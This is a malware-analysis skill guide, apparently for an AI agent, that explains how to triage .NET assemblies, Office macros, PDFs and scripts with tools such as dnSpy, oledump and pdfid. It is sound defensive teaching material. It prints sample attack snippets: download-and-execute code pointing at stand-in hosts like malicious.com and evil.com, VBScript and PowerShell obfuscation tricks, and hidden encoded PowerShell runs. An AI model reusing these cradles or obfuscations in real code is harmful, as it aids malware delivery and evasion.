Specialized File Analyzer

Specialized File Analyzer

Expert analysis of non-PE file formats commonly used in malware campaigns: .NET, Office documents, PDFs, scripts, HTA files, disk images, archives, and Linux binaries.

When to Use This Skill

Use this skill when analyzing:

• .NET/C# assemblies (.exe, .dll with .NET framework)
• Office documents with macros (.docm, .xlsm, .doc, .xls)
• PDF files (suspicious attachments, exploit documents)
• Scripts (PowerShell .ps1, VBScript .vbs, JavaScript .js)
• HTA files (.hta — HTML Applications executed by mshta.exe)
• Disk images (.iso, .img, .vhd, .vhdx — container formats that bypass MOTW)
• Archives (.zip, .rar, .7z, .tar.gz)
• Shortcuts (.lnk files)
• Linux binaries (ELF executables)
• Batch files (.bat, .cmd)

Key indicator: file command shows non-PE32 executable or document type.

Quick File Type Identification

# Identify file type
file sample.bin

# Common outputs:
# "PE32+ console executable, for MS Windows" → Standard PE (use malware-triage)
# "PE32 executable (GUI) Intel 80386 Mono/.Net assembly" → .NET (use this skill)
# "Microsoft Office Document" → Office macro (use this skill)
# "PDF document, version 1.7" → PDF (use this skill)
# "HTML document text" → Check extension; if .hta → HTA (use this skill)
# "ISO 9660 CD-ROM filesystem data" → ISO image (use this skill)
# "DOS/MBR boot sector" → IMG disk image (use this skill)
# "Microsoft Disk Image" → VHD/VHDX (use this skill)
# "Zip archive data" → Archive (use this skill)
# "ELF 64-bit LSB executable" → Linux binary (use this skill)
# "ASCII text, with CRLF line terminators" → Script (use this skill)

---

.NET / C# Assembly Analysis

Detection

# Check for .NET assembly
file sample.exe | grep "Mono/.Net assembly"

# Or check strings
strings sample.exe | grep "mscoree.dll"

# Check PE header
pe-parser sample.exe | grep "CLR Runtime"

Tool: dnSpy (Windows - Primary Tool)

Download: https://github.com/dnSpy/dnSpy

Workflow:

1. Open sample.exe in dnSpy
2. Navigate: Assembly Explorer → sample.exe → Namespace → Classes
3. Find entry point: Right-click assembly → Go to Entry Point

What to Look For:

Main() Function:

// Entry point - start here
public static void Main(string[] args)
{
    // Analyze execution flow
}

Suspicious Namespaces:

• System.Net - Network operations (WebClient, HttpClient)
• System.Security.Cryptography - Encryption/decryption
• System.Reflection - Dynamic code loading
• System.Diagnostics.Process - Process execution
• System.IO - File operations
• Microsoft.Win32 - Registry access

Common Malicious Patterns:

// Download and execute
WebClient wc = new WebClient();
wc.DownloadFile("http://malicious.com/payload.exe", "C:\\temp\\payload.exe");
Process.Start("C:\\temp\\payload.exe");

// Base64 decode embedded payload
byte[] decoded = Convert.FromBase64String(encodedPayload);

// Reflective loading
Assembly.Load(byte[] rawAssembly);

// Process injection
WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, out lpNumberOfBytesWritten);

Extract Embedded Resources:

Assembly Explorer → Right-click assembly → Resources
Look for:
- Embedded executables (byte arrays)
- Encrypted payloads
- Configuration data
- Icons (may hide data)

Right-click resource → Save

Deobfuscation:

# Using de4dot (automated deobfuscator)
de4dot sample.exe -o sample_deobfuscated.exe

# Handles common obfuscators:
# - ConfuserEx
# - .NET Reactor
# - Eazfuscator
# - Agile.NET

Dynamic Debugging:

dnSpy: Debug → Start Debugging (F5)
Set breakpoints on suspicious functions
Step through execution (F10/F11)
Watch variables and decrypted strings

Tool: ILSpy (Cross-platform Alternative)

# Command-line decompilation
ilspycmd sample.exe -o output_directory/

# GUI version (Windows/Linux/Mac)
ilspy sample.exe

Export decompiled code:

File → Save Code → C# Project

Analysis Checklist - .NET

• [ ] Entry point identified (Main function)
• [ ] Obfuscation detected and removed (if needed)
• [ ] Embedded resources extracted
• [ ] Network URLs/IPs extracted
• [ ] Crypto keys identified
• [ ] Anti-analysis checks found
• [ ] Payload execution method documented
• [ ] IOCs extracted (URLs, IPs, file paths)

---

Office Document / Macro Analysis

Detection

# Macro-enabled formats
# .docm, .xlsm, .pptm → Office 2007+ with macros
# .doc, .xls, .ppt → Legacy Office (97-2003) with macros

file document.docm
# Output: "Microsoft Word 2007+"

# Quick macro check
strings document.docm | grep -i "vba\|macro\|autoopen"

Tool: oledump.py (Primary - Didier Stevens)

Installation:

wget https://didierstevens.com/files/software/oledump_V0_0_70.zip
unzip oledump_V0_0_70.zip

Workflow:

1. List Streams:

python oledump.py document.docm

# Example output:
#  1:       114 '\x01CompObj'
#  2:      4096 '\x05DocumentSummaryInformation'
#  3: M    8192 'Macros/VBA/ThisDocument'  ← Macro present (M indicator)
#  4: m    1024 'Macros/VBA/_VBA_PROJECT'
#  5: M    4096 'Macros/VBA/Module1'

2. Extract Macro Code:

# Extract macro from stream 3
python oledump.py -s 3 -v document.docm

# Decompress corrupted VBA
python oledump.py -s 3 --vbadecompresscorrupt document.docm

# Save to file
python oledump.py -s 3 -v document.docm > extracted_macro.vba

3. Analyze Macro Code:

Look for Auto-Execution Functions:

Sub AutoOpen()          ' Word - runs on document open
Sub Document_Open()     ' Word - runs on document open
Sub Workbook_Open()     ' Excel - runs on workbook open
Sub Auto_Open()         ' Excel - runs on workbook open

Look for Suspicious VBA Functions:

' Command execution
Shell("cmd.exe /c powershell ...")
CreateObject("WScript.Shell").Run "..."

' File download
CreateObject("MSXML2.XMLHTTP")
URLDownloadToFile ...

' File system operations
CreateObject("Scripting.FileSystemObject")

' Dynamic code execution
ExecuteStatement
Eval()
CallByName()

Tool: olevba (oletools Suite)

Installation:

pip install oletools

Automated Analysis:

# Comprehensive analysis
olevba document.docm

# Decode obfuscated strings
olevba --decode document.docm

# JSON output for parsing
olevba -j document.docm > analysis.json

# Extract IOCs only
olevba --decode document.docm | grep -E "http|https|powershell|cmd|wscript"

Output Interpretation:

• AutoExec - Auto-execution keywords found
• Suspicious - Suspicious VBA keywords
• IOCs - URLs, IPs, file paths
• Hex Strings - Encoded data
• Base64 Strings - Encoded payloads
• Dridex Strings - Dridex malware indicators

Excel 4.0 Macros (XLM Macros)

More evasive than VBA macros!

# Detect XLM macros
python oledump.py document.xls | grep XL

# Extract with XLMMacroDeobfuscator
git clone https://github.com/DissectMalware/XLMMacroDeobfuscator
python XLMMacroDeobfuscator.py -f document.xls

# Or use olevba
olevba document.xls --deobf

Modern Office Documents (.docx, .xlsx) - No Macros

Template Injection Attack:

# Extract Office Open XML structure
unzip document.docx -d extracted/

# Check for external template
cat extracted/word/_rels/document.xml.rels | grep "http"

# Look for:
# 

Embedded Objects:

# Check for embedded files
ls extracted/word/embeddings/

# Analyze embedded objects
file extracted/word/embeddings/*

Analysis Checklist - Office Documents

• [ ] Macro presence confirmed
• [ ] All macro streams extracted
• [ ] Auto-execution functions identified
• [ ] Obfuscated strings decoded
• [ ] Download URLs extracted
• [ ] Payload execution method documented
• [ ] External template checked (.docx/.xlsx)
• [ ] Embedded objects analyzed
• [ ] IOCs extracted and defanged

---

PDF Analysis

Detection

file document.pdf
# Output: "PDF document, version 1.7"

Tool: pdfid.py (Didier Stevens)

Quick Triage:

python pdfid.py document.pdf

# Red flags:
# /OpenAction   - Executes action on open
# /AA           - Additional actions (auto-execute)
# /JavaScript   - Embedded JavaScript
# /JS           - JavaScript (short form)
# /Launch       - Launch external program
# /EmbeddedFile - Embedded files
# /RichMedia    - Flash/multimedia content
# /ObjStm       - Object streams (can hide malicious content)

Example Output:

PDFiD 0.2.7 document.pdf
 PDF Header: %PDF-1.7
 obj                   45
 endobj                45
 stream                12
 endstream             12
 /Page                  5
 /Encrypt               0
 /ObjStm                0
 /JS                    3  ← Suspicious!
 /JavaScript            2  ← Suspicious!
 /AA                    1  ← Auto-action present!
 /OpenAction            1  ← Executes on open!
 /Launch                0
 /EmbeddedFile          0
 /RichMedia             0

Tool: pdf-parser.py (Didier Stevens)

Extract JavaScript:

# Search for JavaScript objects
python pdf-parser.py --search javascript document.pdf

# Extract specific object
python pdf-parser.py --object 15 document.pdf

# Dump JavaScript code
python pdf-parser.py --object 15 --raw document.pdf > extracted_js.txt

# Filter streams
python pdf-parser.py --filter document.pdf

Tool: peepdf (Interactive Analysis)

# Install (peepdf-3 is the Python 3 compatible fork)
pip install peepdf-3

# Interactive mode
peepdf -i document.pdf

# Commands in interactive shell:
> tree             # Show object structure
> object 15        # Inspect object 15
> stream 15        # View stream 15
> javascript       # Extract all JavaScript
> extract stream 15 > payload.bin

PDF Exploits

Common CVEs:

• CVE-2013-2729 - JavaScript heap spray
• CVE-2010-0188 - libtiff buffer overflow
• CVE-2009-0927 - JBIG2Decode heap overflow
• CVE-2023-21608 - Adobe Acrobat use-after-free (remote code execution)
• CVE-2023-26369 - Adobe Acrobat out-of-bounds write (actively exploited in the wild)
• CVE-2024-4367 - PDF.js arbitrary JavaScript execution in Firefox (affects web-based PDF viewers)
• CVE-2023-36664 - Ghostscript command injection via crafted PDF (affects Linux/server-side rendering)

Shellcode Detection:

# Look for shellcode in streams
python pdf-parser.py --raw --filter document.pdf | grep -E "(\x90{10}|\xeb)"

# Extract suspicious streams
python pdf-parser.py --object  --raw document.pdf | hexdump -C

Analysis Checklist - PDF

• [ ] pdfid scan completed (flags identified)
• [ ] JavaScript extracted (if present)
• [ ] Embedded files extracted
• [ ] Auto-action mechanism documented
• [ ] Shellcode indicators checked
• [ ] CVE exploitation checked (if relevant)
• [ ] URLs/IPs extracted from JS
• [ ] IOCs documented

---

PowerShell / Script Analysis

PowerShell (.ps1) Deobfuscation

Common Obfuscation Patterns:

Base64 Encoding:

# Encoded command execution
powershell.exe -EncodedCommand 

# Decode manually
$encoded = "Base64StringHere"
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))

String Concatenation:

$url = "ht" + "tp://" + "evil.com"

Compression:

$ms = New-Object IO.MemoryStream
$ms.Write([Convert]::FromBase64String($compressed), 0, $compressedLength)
$ms.Seek(0,0) | Out-Null
$cs = New-Object IO.Compression.GZipStream($ms, [IO.Compression.CompressionMode]::Decompress)

Tool: PSDecode

# Install
git clone https://github.com/R3MRUM/PSDecode

# Deobfuscate PowerShell
Import-Module .\PSDecode.ps1
PSDecode -InputFile malicious.ps1 -OutputFile decoded.txt

Manual Analysis:

# Read script without executing
Get-Content malicious.ps1

# Search for key indicators
Select-String -Path malicious.ps1 -Pattern "Invoke-Expression|IEX|DownloadString|DownloadFile|FromBase64String"

Suspicious PowerShell Patterns:

• Invoke-Expression / IEX - Execute string as code
• Invoke-WebRequest / Invoke-RestMethod - Download content
• DownloadString / DownloadFile - Download payloads
• FromBase64String - Decode embedded payload
• IO.Compression.GzipStream - Decompress payload
• Reflection.Assembly]::Load - Load assembly from memory
• -EncodedCommand - Base64 encoded command
• -WindowStyle Hidden - Hide window
• -ExecutionPolicy Bypass - Bypass script execution policy

VBScript (.vbs) Analysis

Common Obfuscation Techniques:

Chr() Concatenation:

' Characters assembled from ASCII codes to hide strings
Dim cmd
cmd = Chr(99) & Chr(109) & Chr(100)   ' = "cmd"
CreateObject("WScript.Shell").Run cmd & ".exe /c " & Chr(112) & Chr(105) & Chr(110) & Chr(103) & " evil.com"

Execute / ExecuteGlobal:

' Execute() runs a string as code in the current scope
' ExecuteGlobal() runs a string as code in the global scope
Dim payload
payload = "CreateObject(" & Chr(34) & "WScript.Shell" & Chr(34) & ").Run " & Chr(34) & "calc.exe" & Chr(34)
Execute(payload)

' Chained: decode then execute
ExecuteGlobal(Base64Decode(encodedPayload))

String Reversal with StrReverse:

' String stored backwards to evade signature detection
Dim hidden
hidden = "elbatius/c/ exe.dmc"
CreateObject("WScript.Shell").Run StrReverse(hidden)

Replace() Chains:

' Junk characters inserted and stripped at runtime
Dim url
url = "hXXXtXXXtXXXpXXX:XXXXX//evil.com/payload.exe"
url = Replace(url, "XXX", "")   ' = "http://evil.com/payload.exe"

WScript.Shell via GetObject:

' Alternative to CreateObject — avoids direct string "WScript.Shell"
Set sh = GetObject("new:{72C24DD5-D70A-438B-8A42-98424B88AFB8}")
sh.Run "powershell -nop -w hidden -enc "

Deobfuscation Approach:

Manual Chr() Resolution:

# Extract all Chr() calls and resolve them
grep -oE "Chr\([0-9]+\)" malicious.vbs | sort -u

# Python one-liner to resolve Chr values from grep output
python3 -c "
import re, sys
code = open('malicious.vbs').read()
for m in re.finditer(r'Chr\((\d+)\)', code):
    print(f'Chr({m.group(1)}) = {chr(int(m.group(1)))}')
"

Extract Execute() Payloads:

' SAFE deobfuscation technique:
' Replace Execute() / ExecuteGlobal() with WScript.Echo() to print payload instead of running it
' Original:
Execute(decodedPayload)
' Change to:
WScript.Echo(decodedPayload)

' Then run in a safe environment to reveal the next stage
cscript /nologo malicious_safe.vbs

Variable Substitution Tracing:

# Trace variable assignments to follow payload construction
grep -n "=" malicious.vbs | grep -v "'.*="   # exclude comments
# Follow each variable from assignment to use, reconstructing the final value

Key Suspicious Patterns:

• CreateObject("WScript.Shell") - Execute OS commands, launch processes
• GetObject("winmgmts:") - WMI access (process creation, system enumeration)
• Shell.Application - Explorer shell invocation (can bypass some restrictions)
• ADODB.Stream - Binary file writes (used to drop PE payloads to disk)
• MSXML2.XMLHTTP / WinHttp.WinHttpRequest - HTTP download cradles
• Scripting.FileSystemObject - File system reads and writes
• Execute / ExecuteGlobal / Eval - Dynamic code execution (always deobfuscate before analyzing)
• StrReverse / Chr() / Replace() - String obfuscation primitives

Analysis:

# Read script
cat malicious.vbs

# Search for high-priority patterns
grep -i "CreateObject\|WScript.Shell\|MSXML2.XMLHTTP\|Eval\|Execute\|ExecuteGlobal\|ADODB.Stream\|GetObject\|StrReverse" malicious.vbs

# Deobfuscate: Replace Eval() / Execute() with WScript.Echo() to print instead of execute
# Then run safely: cscript /nologo malicious_safe.vbs

JavaScript (.js) Analysis

# Beautify obfuscated JS
cat malicious.js | js-beautify > beautified.js

# Online: h

…

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [gl0bal01](https://github.com/gl0bal01)
- **Source:** [gl0bal01/malware-analysis-claude-skills](https://github.com/gl0bal01/malware-analysis-claude-skills)
- **License:** MIT
- **Homepage:** https://gl0bal01.com/intel-codex/Security/Analysis/sop-malware-analysis

Install and usage instructions live in the source repository linked above.